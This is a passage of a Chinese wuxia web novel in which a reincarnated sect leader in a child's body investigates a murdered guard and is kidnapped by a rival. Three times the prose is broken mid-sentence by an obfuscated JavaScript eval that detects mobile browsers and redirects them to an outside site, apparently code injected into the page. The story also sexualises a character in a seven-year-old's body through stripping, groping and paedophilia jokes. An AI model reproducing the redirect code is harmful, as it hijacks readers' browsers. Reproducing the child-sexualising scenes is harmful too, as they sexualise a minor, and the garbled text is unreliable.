等沈墨白把我剥光了之后,才突然发现我早就已经不挣扎了,只是抬着两只手挡住眼睛一动不动直挺挺躺着。 我把脸埋在手臂里,两条细嫩白皙的腿脆弱得用力阖着。 我感觉到沈墨白不自然得停顿了一瞬间。 “喂。”沈墨白戳了我一下。 我不动。 “喂喂,你哭了?” 我咬牙,继续装死不动。 沈墨白小心翼翼地碰碰我:“哎,你不会真生气了吧?喂喂,你一个小屁孩,都还没发育呢,看你的裸体跟看满街乱跑的小猫小狗对我来说都没差嘛,你至于那么大反应吗?” 沈墨白一下子七手八脚把衣服乱七八糟重新裹回我身上。见我半天仍然一动不动,只好轻轻叹了口气,把我抱起来。 “有什么大不了得嘛,”沈墨白把我拖在手上,走到浴室里,边走边嘟囔,“看你年纪小小,怎么贞操情结这么严重?” 我就保持着捂着眼睛的动作不理他,心里暗暗把他从头发丝儿到脚趾甲都给诅咒了一遍。 “喂,别闹了,”沈墨白把我放在浴桶旁边的椅子里,用指尖一下下戳我的脑袋,“别哭了,乖了,别闹脾气了,我错了还不行吗?” 见我仍旧不理他,沈墨白有点焦躁地揉了揉我的头发。看来这家伙真是丝毫不懂得哄女人开心,越嘟囔越闹得我心烦。 “要不,等你长大了,我娶你……” 我闻言,猛的把手从眼睛上面拿开,飞起一脚狠狠把他踹开,“你这样的货色,给老娘提鞋还得三里之外排队去呢!想娶我?!你省省吧!” 说完,我风风火火雷厉风行把衣服一扒,奋勇一头扎进浴桶里。浴桶里溅出三尺水花,距离浴桶一步之遥的沈墨白顿时成了落汤鸡。 “好啊你!死丫头!” 沈墨白被水泼得一头狼狈,卷了袖子要来修理我,我立刻操起浴桶里的舀子,捞起一汪洗澡水就泼向这大灰狼。沈墨白不甘示弱,顶着热水攻击,不怕死得冲过来,妄图把我按进洗澡水里。我借着占据有利地形,对着他脑袋狠狠泼了几勺水,还趁乱咬了他的爪子一口。等我们歇停了,一桶水几乎全泼干净了我这澡也没洗成,而沈墨白从头到脚都滴滴答答掉着水珠,整个一落汤鸡。 二人闹腾到大半夜,我摸上床倒头就睡了,一睁眼天已经大亮。 起床之后我和沈墨白在客栈二楼用早餐,其间有两个小二聚在角落里神色仓惶得叽叽喳喳。 “你听说没?后巷的枯井里头发现了尸体!” “怎么能没听说!好像是张厨子这两天老是问道恶臭就循着气味去看,谁知道在井里头发现了个死人!张厨子差点没给吓死,赶紧就回来找掌柜的了。掌柜找了几个伙计把那东西给捞上来,现在还搁在后院里呢。也不知道死了多久了,满身都是烂疮,骇死人了!” 我自从变小之后,听力视力都变得极佳,那两人声音虽低,我倒是听得一清二楚。沈墨白内功好,他自然也一句没漏全听清了。 沈墨白看了我一眼。那时我正趁他屏息凝神偷听而饿死鬼转世一般飞快抢包子吃,被他盯,我的动作一停。 “嫩妖气瞧瞧嘛?”(你要去瞧瞧吗?)我嘴里塞满包子含糊不清问。 沈墨白瞥了我一眼,“啧”了一声,伸出一只手使劲擦我的嘴角,“怎么小一点儿,怎么吃得比猪还多。你这样的女人长大了谁敢娶啊?” 我偏头躲过他的手指头,瞪他,咽了口包子,“要你管!反正嫁给猪也不嫁给你这人渣!” 沈墨白耸肩,悠然笑道,“你跟猪倒是登对得很嘛。” “……” 饭后,沈墨白借饭后散步之名绕道去了后院。我照例树袋熊状爬上他的背,熟门熟路挂在他肩膀上。 “你个小丫头,怎么对尸体感兴趣?这蜀中,盘踞□□白道上不少势力,出现几具尸体不是常事儿么?” 我哼了一声,不屑道,“你懂什么,现在这种敏感时期,黑白两道平衡正在动摇,要理清其中头绪,不可放过蛛丝马迹的线索。” 沈墨白眼角淡淡瞄了我一眼,浅笑不语。 尸体就停在后院,盖在一片草席子下面无人看管,四周飞满了嗡嗡的蝇虫。沈墨白一脚把盖住尸身的草席踢开。 我目光落在尸体的脸上,顿时愣住了。虽然尸体已经遍布尸斑,并因为气候温湿也已经大片腐烂,但我还是一眼就认出来了,这人,竟然是我的暗卫“十叁”。 镜花宫历任教主都有自己的暗卫,数量全凭教主自己喜欢。曾经我师傅有三十多暗卫,而我一共只有十个。我师傅暗卫多,并不是因为他老人家喜欢摆谱,而是因为他比我要心慈手软。历任教主继任之前,会挑选两百教内高手进入镜花宫的“修罗狱”之中,令他们一日之内相互厮杀。我师傅说留三十个,就有三十人能活命。我说只要十个,就有一百九十人枉死。进入修罗狱之前,每人舍弃自己的名字,仅仅留下一个编号。我的暗卫最后便剩下了十叁、十四等十人。 我挑选的这十名暗卫,跟了我十年,一同出生入死,从未有一人丧命。在我闭关之前,我把暗卫全数派出去监视镜花宫的长老,防止老家伙们趁我不在兴风作浪。若我没记错,十叁监视的人是“屠龙手”段岑。 “倒是有点意思。”沈墨白看了一圈尸体,微微蹙起眉心,露出一个颇感兴趣的浅笑,“这个人,似乎是白玉蛟的暗卫。” 我呆了一瞬间,瞪大眼睛盯着他。他怎么可能连这个都知道?! 似乎是看出了我的震惊,沈墨白悠哉解释道,“十多年前我全家被白玉蛟灭门时,下手的正是白玉蛟和她的十名暗卫。仇家的脸,就算相隔了十年,我也仍然记得住的。” 我咬唇不语。 “他身上中了二十多处刀伤,死前看来是经过一场激战。但致命伤却是绕过肋骨直中心脏的穿心剑。若我记得没错,似乎白玉蛟的男宠顾染织,用的就是一柄百炼钢软剑,最善用的招式就是这样避过骨头直刺内脏的七巧锁心剑法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349845|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呦,你倒是挺清楚呢,”我瞥了他一眼,“不过这肯定不会是顾染织干的,他才不会蠢到用自己的得意招式杀掉白玉蛟的暗卫,这不像是在向天下昭告他在谋逆么?” “哦?”沈墨白明知故问道,“那么是有人陷害他了?” 哼。想套我话,我才不理你呢。我翻了个白眼,“我哪知道。你看看他身上和周围还有没有什么线索。白白就被弄死了,这白玉蛟的暗卫也太没用了。” 沈墨白垂眸看了我一眼,然后竟然果断弯腰徒手去检查尸体了。 “哇!沈墨白你好歹拿个小木棍去戳啊!怎么直接用手上!脏死了!” “脏?”沈墨白回头看着我,浓墨色的眸子眯成一条线,“你娘没教过你不可亵渎死者么?” 看着他那表情那眼神,我顿时有种不祥的预感,果不其然,突然之间,沈墨白一用力将我从他背上扯下来,我还没明白过来发生了什么,就觉得身体腾空,眼前一阵天旋地转。两秒之后,伴随着一声巨响,我一阵眼冒金星得落地。 “啊……痛痛痛……”我挣扎着坐起来,捂着被撞倒的头惨叫。 沈墨白这欠扁的!我晕头转向得抱着脑袋咬牙切齿。这厮竟然把我给丢到井底下来了!知不知道这样会死人的啊! “喂,劳你检查一下井底有没有什么线索。”头顶探出一颗脑袋,脑袋的主人对我呲牙一笑,阳光反射下的牙齿闪着白森森的光。 我怒,但是我还指望他把我弄上去,所以只能忍怒不发。井底下铺满黏糊糊黑乎乎的青苔,还爬满了各种不明生物,我捂着鼻子四处瞄了一眼。 十叁,便是惨死在这种地方? 虽然说是镜花宫的暗卫,腥风血雨中过惯了刀口舔血的日子,对死应该早有觉悟了,但大概十叁自己也没想到自己最后会死在这种地方吧……想到这里,我不觉冷笑了一声。我离开镜花宫已经将近一月,镜花宫中留下的其他暗卫,大概业已被我那好手下顾染织给处理掉了。 他们,应该也没什么好怨恨的吧? 我娘说过,出来混,迟早要还的。这话是在理的很,因果有报。看我,还不是毫无征兆的就变成了这幅落魄样子,八成是前半辈子作恶太多,如今是要还债了。 正在我出神的时候,头顶上又响起来某人欠扁的声音。 “喂,死丫头,想不想上来啊?” 我抬起头,井口的光线很耀眼,他的脸逆着光线,光芒之下让人觉得眼晕。 “想啊想啊。”我昧着良心露出一个巨大灿烂的微笑。 人渣手撑着下巴奸笑,“那叫声好听的。” 我眼神一冷,随即咳嗽了两声,换上个大大的甜笑,拖着长音开腔,“沈大哥~沈大老爷~~沈大官人~~良人~~小冤家~~” 我甜甜黏黏的嗓音一落,沈墨白“噗嗤”一声笑出声。 我死鱼眼瞥他。莫非这个恶趣味的家伙喜欢这种腻腻歪歪的调调? 水桶从顶上被抛下来,沈墨白笑眯眯对我挥手,“坐进桶里,我把你拉上来。” 我装乖坐在桶里,晃晃悠悠往上升。 然而,就我的脑袋已露出井口的一瞬间,我突然发力,灵活无比从桶里蹦出来,身体腾空,三百六十度转体,毫不留情给了毫无防备的沈墨白一记无影回旋踢。 黑漆漆的脚丫印子不偏不倚印在了人渣的脑门上。沈墨白被我一脚踩在额头上向后退了一步,脖子还发出了“咔嚓”一声。 我身体在半空非常轻盈得翻腾,一边翻一边想——咦?怎么身体怎么如此轻盈?力道为何也如此足?仿佛武功又回来了似地。 我自己都有点吃惊,轻巧在空中翻了个身稳稳落在井边上。 “死丫头!你想杀了我吗?!”沈墨白捂着后颈,痛苦得蹲在地上。看来刚才那一下的确踩得够重的。 “哈?”我丝毫没有歉意,抱着胳膊翘着二郎腿坐在井边儿上,扬眉冷笑,“你还有脸说?刚刚你还不是差点摔死我?” “你信不信我再扔你下去一次!” “有种就来啊!老娘刚才没有防备才被你暗算的!谁怕谁啊!”我咧嘴,抬起手,温柔竖起了中指。 于是,一怪葛格一怪萝莉,再一次风生水起掐起来。 事后,沈墨白突然神经兮兮拍拍我,然后对我竖起了中指。 我正要发怒,就听沈墨白这呆瓜问,“这是什么暗号?” 我眨了眨眼睛,这才想起来这动作是我蓬莱老家的习俗,这帮凡世俗人看不懂。 于是我善良得微笑,解释道,“这不是暗号,这是赤裸裸的挑衅。” 我说着,左手竖起中指,右手食指和拇指扣成“O”型,然后把中指在O里头来来回回做了几次往返运动。 沈墨白这厢看的目瞪口呆。 我高深莫测,慈爱的微笑,“你可明白了?” 沈墨白回神,突然露出了一个灰常具有挑逗意味的浅笑,“怎么,你刚才那意思是想跟我试试?” 这句话瞬间化作一道利刃,狠狠击中了我的脑门。我沉默了三秒钟之后,仰天长啸:“姓沈的!你不觉得可耻嘛!!” 11. 翩翩公子绑架犯 是夜,夜上三更,月黑风高。我一个人躺在浴桶里头泡澡,有一搭没一搭玩着自己的头发丝儿。沈墨白那厮说有点事要办,半个时辰前出门去了,至今下落不明。 我很怨念,至今老娘我还未用晚膳,正饿着肚子嗷嗷待哺。沈墨白那家伙怎么还不回来,难不成这小畜生是拿老娘辛辛苦苦要饭赚来的银子去□□了?这白眼狼货! 正在我伴着肚子咕噜噜的轰鸣声义愤填膺狠狠咒骂的时候,门外传来了轻微的响动。 接着一个人影步履悠闲地晃进来。 咦?是沈墨白回来了?我一个激灵从水里蹦起来,猛一吸气,气沉丹田,趴在桶边上扯着嗓子咆哮:“沈墨白!你个没良心的!我饿死了!我要吃肉!” 我一声吼完,外头没半点响动,我突然觉得有点不对劲。 那人影停在帷幕外,驻足不动。 我看到依稀的人影落在帷幕上,他掩唇低低一笑。 这人妖般的动作……貌似不是沈墨白的作风…… “是谁?!” 我警觉地从桶里跳出来,抓起衣架上的衣服往身上一裹。 “深夜打扰小姐,真是冒犯了。”帘帐被一只素白的手跳起来,露出一张清俊的脸来。 我三两下乱七八糟穿上衣服,头发湿哒哒贴在身上。 一边是狼狈的小萝莉,一边是风度翩翩的美青年,这个时间、地点、人物、事件为何如此不搭界呢! 我皱起眉头盯着那家伙,冷笑了一声,“呦,这不是凤大少爷么?看不出来啊,大少爷在这样的良辰美景竟然来偷窥女童洗澡,难不成你还有恋童的癖好?” “小丫头你倒是挺伶牙俐齿的嘛,”凤栖梧扬眉一笑,背后隐隐散发出邪恶的黑色气场,“有多少女人排着队想在本大人面前出浴,本大人能站在这里,你不觉得你应该感到荣幸么?” “……”我嘴角抽了一下,“你真的是早上那个大少爷吗?怎么感觉性格有天壤之别啊?” “哼,”凤栖梧闲闲勾起一抹微笑,信步走向我,“本少爷可是只在亲信之人面前,才会露出这副面目。” 我翻了个白眼,半自言自语低声道,“啊?原来我面子那么大啊?” 没错,这货就是凤栖梧,就是那个在世人面前风度翩翩举止谦和,笑语嫣然谈笑风生,一抬手一投足,周身都会出现玫瑰花配星光的幻象环绕,迷得女侠们东倒西歪的白马王子殿下。 只可惜,白天那个什么君子如斯根本就是个彻头彻尾的坑爹假象,真正的凤栖梧怎一个扭曲了得?冷血,自恋,腹黑,恶趣味,重口味,可谓是集世上各种变态元素为一身,并且以玩弄女子为乐,可谓是个摧花之狼。最初发现他竟然有这种变身功能的时候本座也稍微惊讶了一下,不过凤栖梧年龄比我小了不少,又算是我同门师弟,我总把他当成个好玩的小东西,发现他这种特质只让我觉得更加有趣而已。 以前的我当然更谈不上不怕他,虽然我在腹黑和自恋这两点上逊于他,但是其他方面可都是他的升级加强版,可是现在这情况…… 我往后退了一步,悄悄四周看了看,寻找逃跑路线,然后悲催地发现这周围全是墙壁,连个通风口都没有,唯一的出口就是凤栖梧身后的那扇门。这种情况下,我也只得先装模作样,强装镇定了。 我咳嗽了一声,低头开始慢慢整理衣服,“凤公子,你究竟想干嘛?想要我还你钱的话我可没有,钱在沈墨白那里。” “不,”突然,面前掠过一道清风,接着凤栖梧的脸一下在我面前放大,吓得我一趔趄,正好被他顺势给压在了墙上,“我只是想确认一下,你到底是不是白玉蛟的女儿。” “呃?” 他近在咫尺的鼻息轻轻喷在我脸上,俺的鸡皮疙瘩立马齐刷刷迎风招展。 “我、我说,是不是她女儿关你屁……” 凤栖梧听到这里邪邪一笑,“当然关我的事,关系可大了。我跟白玉蛟的关系可是非同一般呢。”他说着,白玉般的手指尖轻轻点在我的唇上,然后突然用力,手指就滑进了我嘴里。 我顿时呆住,三秒钟之内没有反应。 凤栖梧你这个变态!本座跟你本来就没有什么关系!竟然敢这么赤裸裸的调戏本座!总有一天本座要阉了你!! 我狠狠瞪着他,不过也没做什么实质性的抵抗,毕竟实力悬殊太大,少激怒他就少受罪。 “白玉蛟是我的同门师姐,而且,这个世界上,唯有我,她是绝对不会伤害的……”凤栖梧玩够了把手指拿出来,然后在我衣服上蹭了蹭我的口水…… 他这番说辞,虽听起来似乎是事实,但怎么听着如此别扭呢! “喂,小不点儿,你到底是谁?我跟白玉蛟有十四年的交情,从来没发现……”凤栖梧露出了一点郁结的神色,略一咬唇才道,“她怀孕过。” “哦?”我别开眼睛,耸了耸肩“这可不好说,说不定她闭关的时候是躲起来生孩子呢。” 下一秒,下巴突然一痛,被凤栖梧给狠狠捏住了。 “哦?这么说你真的是她的女儿?” 我跟凤栖梧算是积怨已久,数次对其强迫未果。我说“是”的话,他不会杀了我泄愤吧? 凤栖梧见我不回答,阴测测笑问,“看来你是不想说?” 我抬眼看到凤栖梧脸上阴沉的表情,微微抖了一下,“那、那个……这位大侠,我、我不过是个七岁的孩子而已……我是真的什么都不知道啊,你要问,也应该找沈墨白去问才对吧?” 凤栖梧盯着我的脸不说话。我被他盯得脊背发冷,生怕这性格极端的家伙,突然伸出两指头把我眼睛给挖出来。 “果真长得一模一样……” 最后,我听到他忽然自言自语轻轻嘀咕了一声。那一刻,他垂下眼帘时的表情,稍稍有一点让人觉得难以理解的落寞。 正在我发愣的时候,突然,凤栖梧出其不意一把捞起我的腰,把我像个枕头一样提溜起来,然后大步流星得走向窗子,轻轻一跃,腾空了! “喂喂喂,你你这是要……”我大惊,扑腾着正要叫救命,被凤栖梧果断点了哑穴,“唔!!……” 踏雪无痕的鸣凤公子真不愧是轻功独步武林啊……只见他从三楼窗口跃出,身体在清冷的月色之下,在如水的夜风之中腾空数丈,其间竟然还有闲工夫一只手点我的穴,另一只手拎着我,顺便又百忙之中不知道用哪只手把腰上的腰佩取下来,“唰”得一下往背后一扔。 那腰佩非常华丽得打着旋,最后不偏不倚落在了客栈房间的桌子上。 凤栖梧猫一般无声得落在无人的小巷里。 我瞪着他,没法说话只能直哼哼,“呜呜呜!!(你要带我去哪!!)” 小凤凰捏了捏我的脸,“你就乖乖跟哥哥我回去,然后一边吃着糕点一边等你爹爹来救你,这主意不错吧?” 凤栖梧说完,露出一个相当愉快的表情。他一边嘴角上扬,眼睛微眯,那表情分明就是个准备玩弄老鼠的猫咪! “嗯嗯嗯!!——” “必须得好好招待一下呢,那位,沈兄。” 半个时辰之后,我被凤栖梧扔在一房间,的床上。 我摔在床上,在柔软的被褥里滚了几圈才停下,那造型活像一个刚出锅的锅贴饺子。 我面部僵硬瞅着眼前这座华丽地闪闪放光的房间。这陈设,这规格,莫非——此乃凤栖梧在锦官城里的宅邸?这人贩子,绑架竟然直接绑回家里,这也太肆无忌惮了! 我被撂在床上无人搭理,无聊得观赏着房间里进进出出的侍女殷勤地帮凤栖梧更衣,飘来飘去奉茶梳洗。 我这个大活人的存在,被无视的很彻底。他们那厢华丽丽的骄奢淫逸着,我这厢面无表情看着天花板挺尸。 苍天呐! 我这是走了哪门子邪门运了。不是被自己床上的男人打至伤残,就是被仇家的遗后诱拐虐待,现在又被曾经强迫未果的青梅竹马给绑架了…… 难道这真的是传说中的现世报?! 这回本作又该如何逃脱升天化险为夷? 据我所知,我跟沈墨白的关系绝对没有好到他会冒着危险来救我的程度,指望他是不可能了,早知道刚才凤变态问我身份的时候,我就应该随便编一个, 编个什么是白玉蛟失散已久的妹妹“白玉馍馍”也好,何苦让他去问沈墨白,真是失算啊失算。 我出神之间,凤栖梧已经换好了居寝的衣物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349847|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一席轻薄的锦缎白衫轻柔披在身上,隐隐显露出布料下面身体流畅的线条。墨色的长发也被散下来,带着新沐浴的湿气,用丝绦松松系住,发丝墨黑而光泽柔滑,衬着白色的衣物,美得像副丹青墨画。 凤栖梧打发走了侍女,走到床边,啪啪两下解开了我的哑穴。 “你叫什么名字?” “小白……” 凤栖梧挑了挑眉稍,“小白玉蛟?” “是小沈墨白……”我有气无力地更正道。 “哦?你真是沈墨白的……” “不是啊,只不过因为他对我有救命之恩才随了他的名了……”我弱弱道,“另外,那个……你看我手脚都残废着呢,你就把我的穴道解开吧?我不会跑的。” 凤栖梧听到残废的时候稍稍皱了下眉,然后毫不客气抓起我的手腕,卷起袖子,果然看到一道很深的伤口。 看完,小凤凰就轻蔑得笑了,“我还以为什么大伤呢,你这伤不是都几乎痊愈了么?真娇气。” 我瘪嘴,“快点解开穴道啦,你看我又没有鞋子穿,真的不会跑出去的。” 凤栖梧又看了一眼我的脚丫,了然似得眨眨眼睛,“怪不得沈墨白一直抱着你呢。难道他也是怕你逃跑才不给你鞋穿?” 我翻白眼,“切,才不是呢,那厮是穷得买不起……再说,哪里用得着啊?我脖子上还栓着个什么天机山庄的锁呢,离开他的话没两天我就头身……分家……了……” 说着说着,我突然说不下去了,脊背一阵阵发冷。突然觉得脖子上那个都带习惯了的乌金锁,此刻变得沉重无比。 该死的,若是沈墨白不来救我,我岂不是要脑袋搬家,死无全尸?! 小凤凰这厢却笑了,然后一翻身上了床,顺带一挥袖子把几盏灯都给灭了,最后留下屋角一盏长明灯。帘幕掩映之下,影影重重,昏黄的光线下营造出几分暧昧的气氛。 “喂喂,凤栖梧,你别睡啊,沈墨白不来救我怎么办!” 凤栖梧打了个呵欠,自顾自摆弄着我的手脚,把我摆成一个蚕蛹状,然后从背后一把把我搂进怀里。他从背后整个环住我,体温四面八方得涌过来。 被人当成人肉抱枕还是第一次,我动也动不了,欲哭无泪,“凤栖梧!!你这是要睡觉了吗?!开什么玩笑啊……” 凤栖梧懒洋洋地打了个呵欠,然后把脸往我脖子里蹭了蹭,“真软。” 我再次欲哭无泪,“你当真是恋童癖么?……” “嗯……”凤栖梧轻轻应了一声,全然一副快要入睡了的朦胧样。 我欲哭无泪,这两天是走什么霉运了,三番四次被调戏。 就在我以为凤栖梧已经睡着了的时候,忽然听到耳朵后面他轻轻嘀咕,“味道……” “啊?” “跟她好像……” 什么味啊?汗味?包子味? 我吸了吸鼻子,也没闻到什么特别的味道,只闻到背后凤栖梧身上淡淡的熏香的味道若有若无得飘在空气里,熏得人有点晕晕的。 我被点了穴,动也不能动,只能默默看着环在腰上的大手发呆。 呆了一会儿,我语气悲怆得念叨,“凤栖梧……你不嫌热吗……” 身后没有半点回音。 “凤栖梧……你就这么寂寞吗……” 背后的人呼吸清浅而绵长,貌似是睡着了。然后,我只能泄气地乖乖闭上眼睛。一动不能动,再加上被一个私人关系不怎么好的家伙给抱着,老娘我睡意全无。 我数羊数得死去活来都没有点睡意,终于过了有一个多时辰,就在我迷迷糊糊快要睡着的时候,黑暗中搂着我的那双手突然动了。 凤栖梧貌似也是睡迷糊了,半梦不醒的哼哼了两声,然后在我胸前摸了两下,咦了一声,突然把我翻了个身,又在背后摸了两下,接着又翻了回去! 我顿时睡意全无,怒了,“凤栖梧你煎鸡蛋呐!干嘛把人反过来倒过去的!” “啊?……”凤栖梧慵懒得微微动了动身子,模糊道,“我没分清哪边是正面……” “……” 该死的恋童癖!! 这个一睡之仇,老娘我改天一定要报回来!! 12. 渣攻,全是渣攻 第二天早上我醒来的时候,一睁开眼,就看见一张安详地仿佛已经睡死过去了的容颜。 顿时,我沮丧了一把。原来不是做春梦,是真的被绑架了。 凤栖梧躺在我边上,睡得还挺香。浓密的黑色羽睫垂下来,在白玉般的皮肤上映下浅浅的一道阴影。以前没近距离看过这小子,没想到他睫毛那么长,让人看着便莫名产生一种很想一根一根把它们全拔下来的冲动…… 我正盯着凤栖梧的眼毛发呆,忽然,那眼毛一闪,一双茶色的瞳孔露了出来。 凤栖梧醒了。 他懒洋洋得蹭了蹭枕头,眼帘微垂,带着几分迷蒙看着我。阳光落在他睫毛上和细碎的发丝上,整个人看上去像是度了一层毛茸茸的金边。整个就是只懒洋洋的大型猫科动物。真想伸出手去给他顺毛,我眯起眼睛欣赏着这一幕。他这娇蛮的性格,果真是会被激发我去狠狠去蹂躏他的冲动。 然后这小凤凰抬起一只手,食指和中指一弯,捏住了我的鼻梁。 “小东西,你迷上我了?”傲娇的声音带着刚睡醒的沙哑,性感而慵懒。 我被他捏的鼻梁发酸进而眼角发酸,眼泪一下子涌了出来。 我吸了吸鼻子,带着“嗡嗡”的鼻音道,“凤栖梧,你做什么好梦了吗?” “是啊,”凤栖梧笑得眼睛都弯成了一条缝,“你怎么知道?” “你流口水了。”我面无表情,一字一句说。 于是,凤大帅哥自恋狂,干脆利落地,兀自挂着自恋的微笑,粉碎在了床上,粉碎地干净利落相当彻底。之后,凤傲娇就闹别扭了,果断把我扔在床上爱理不理,把我所有的话都当耳旁风似地视若无物。 “凤栖梧,你还是快点放了我吧,沈墨白真的不会来的。” “快点放了我吧,不然时辰到我就人头落地了。人头落地事小,脏了你的床你的地板咋办。” “凤栖梧……你有没有在听我说话啊……” 这傲娇闹气脾气来真的很烦人,我一个人自言自语了很久之后,抬起眼皮一看天色,突然觉得有点不妙。 “话说……现在什么时辰了?” “啊?”凤栖梧刚沐浴出来,穿着松松垮垮的浴衣看了一眼时间,“辰时。” 我脸色微微变了。 糟糕,没有时间了。每日一早,差不多就这个时候,沈墨白都会挂着一脸阴笑,拿一个小钥匙给我调整脖子上那个什么乌龙锁的机关。 真不知道万一这锁真的“咔嚓”一声扣紧了,我这跟我相处了将近三十年的小脑袋是不是要跟身体分家了。 我一下子紧张了,带着点怒意吼道,“凤栖梧!你认真听我说话!沈墨白不会来救我的!” 凤栖梧被我突如其来凶悍的语气吓了一跳,眉头微微一簇,似乎是没想到沈墨白根本就不会出现这个可能性。 “你没骗我?” 我气得气血上涌,机关炮一样一串吼,“你看我像在跟你开玩笑的样子么!这可关系到老娘的身家性命啊!实话跟你说!我跟沈墨白的关系根本就不好!你没看见他每天把我扔在街上要饭那样虐待我么!怎么可能会为了救我跑到这里来找虐啊!” 凤栖梧盯着我的眼睛,我狠狠盯回去,最后他妥协了,啪啪隔空解了我的穴。 “的确,我派去监视沈墨白的人,回报说那家伙根本没有任何反应,似乎是没打算来救你。” “那是当然的了,”我嘴上虽然这样说,心中却微微有一点空落,“我跟沈墨白是在错误的时间,错误的地点,非常错误的相遇,纯粹是孽缘。” “是么?那真可惜,”凤栖梧说着,拿起挂在墙上的一把剑,“唰”得一声抽出来,“我试试看能不能把这个锁弄下来。” 我看他冷眼瞄着剑锋的那小表情,产生一种更加不详的预感,“你、你要怎么试。” “砍咯。”小凤凰如是说,目光冷得像他手里那巨大的刀片。 凤栖梧如是说着,大步流星走到我面前,拎起我仍在桌子上,让我趴在桌子上,脑袋平贴桌面,那鬼姿势怎么看都像是砧板上待宰的大头鱼。 “你手准点啊!砍歪了断的可就是我的小命了!”我梗着脖子尖叫。 凤栖梧一只手按着我的脑袋,一只手高高举起剑,我从下而上看着他,隐隐觉得此时此刻凤栖梧背后有一股不明的黑气在飘荡。 “喂喂喂,你慢点啊,瞄准了啊!等等!啊!!” “当!”的一声巨响炸在耳边,火花四溅。 下一秒,一阵劲风划破空气,吹得我发丝飞散。接着,按在我脑袋上的力度消失了,我慢慢张开眼睛,抬起头。 抬手摸了摸自己的脖子。 喜剧是,脖子还在。悲剧是,锁也在。 正在我不知道是该庆幸还是该悲叹的时候,又听到旁边“咔嚓”两声。本座回头一瞅,只见背后的墙壁以肉眼可见的速度缓缓裂了个狰狞的大缝。 本座顿时震惊了,拍案到,“我说凤兄!你近视啊还是老花眼啊!砍哪儿呢!准头也太差了吧!” 凤栖梧皱眉,不爽得掂了掂手里刀锋已经卷了的大刀,“哼,这锁倒还真够机巧的。” “那是当然的了,这可是天机山庄的镇殿之宝啊。”此刻,窗外悠悠飘来一声略显轻薄略显慵懒的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349848|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凤栖梧一挥袖子,门窗“嘭”得一声大开。 啊,这就是内功,内功啊,多么神奇的内功。话说如果是以前的我,这一袖子挥出去,倒的就不是门窗了,而是墙。 窗外一棵高大的海棠树上,沈墨白悠闲得坐在一处横斜的枝干上。 风微微吹动,树梢轻晃之间,漫天的海棠花瓣飘飞,灿烂得让人眼晕。 沈……沈墨白? 那一刹那,我心里有点小雀跃,我不由自主为这点雀跃感到自我厌恶。 “咦,我还以为你不来了呢。”凤栖梧看着窗外的不速之客,嘴角漾起一抹邪笑,手却用力的握紧了剑柄,“竟然能够躲过所有机关侍卫,神不知鬼不觉闯进内院,沈兄还真是武功了得。” 沈墨白悠然站在树梢上,笑嘻嘻道,“怎么也比不得凤兄,大半夜的,入了我的房,抢了我的人,还赏了枚玉佩给我,真是大手笔。”沈墨白说着,指尖从怀里夹出那晶莹剔透的玉佩晃了晃,随之又特小市民得奸笑着把玉佩揣回怀里。 凤栖梧挑了挑眉梢,手中长剑随意挽了个剑花,另一只手把我抱起来,“沈兄,这小东西抱着睡起来又软又暖,当个暖床的真实再合适不过了。既然沈兄 收了我的玉佩,那我可否理解为你已将这小家伙卖与我了?” 沈墨白眨眨眼睛,然后看天想了一会儿才说,“这似乎不妥,我不好跟孩子他娘交代。” 凤栖梧愣了一下,眼睛一弯,咬牙,笑得特别狰狞,“沈兄,若你有本事,不妨自己来取。” 沈墨白也笑,“当然当然,我的东西,我自会回来取的,”他说完,手掌在树枝丫上一撑,身体如同蝴蝶一般轻轻向后腾起,接着一个翻身,如若过水蜻蜓一般,倏然出现在凤栖梧背后。 纵然凤栖梧轻功绝迹江湖,也被他这瞬间爆发力震慑,立即提气,打算掠开一步躲避。 我虽然现在没内功,又四蹄残疾,但我对武功路数的研究还是颇有小成的,因此就在凤栖梧提气的一瞬间,我看准机会,一膝盖顶在他胃上,害得凤栖梧一口气没提起来便岔气儿了,瞬间破功。 沈墨白就趁着一刹那的间隙,把给搂进了怀里。 凤栖梧似乎是没想到我竟然背后阴他,倒在地上带着诧异和些许委屈。这小眼神看得我有点心虚,怎么说凤栖梧除了压着我睡了一夜之外也没干啥对不起我的事儿。 “对不住了,”我趴在沈墨白怀里幽幽叹了口气,“君生我未生,我生君已老,我们真的不合适……” 我话音未落,沈墨白便带着我向后掠去,一瞬间我们俩的身影便隐没在了满园烂漫的飞花之中。 13. 虎毒不食子 我气势汹汹质问沈墨白这厮为何迟迟不来救我,沈人渣答曰:爹是被正事缠身一时抽不开身,被那小世子钻了空子。 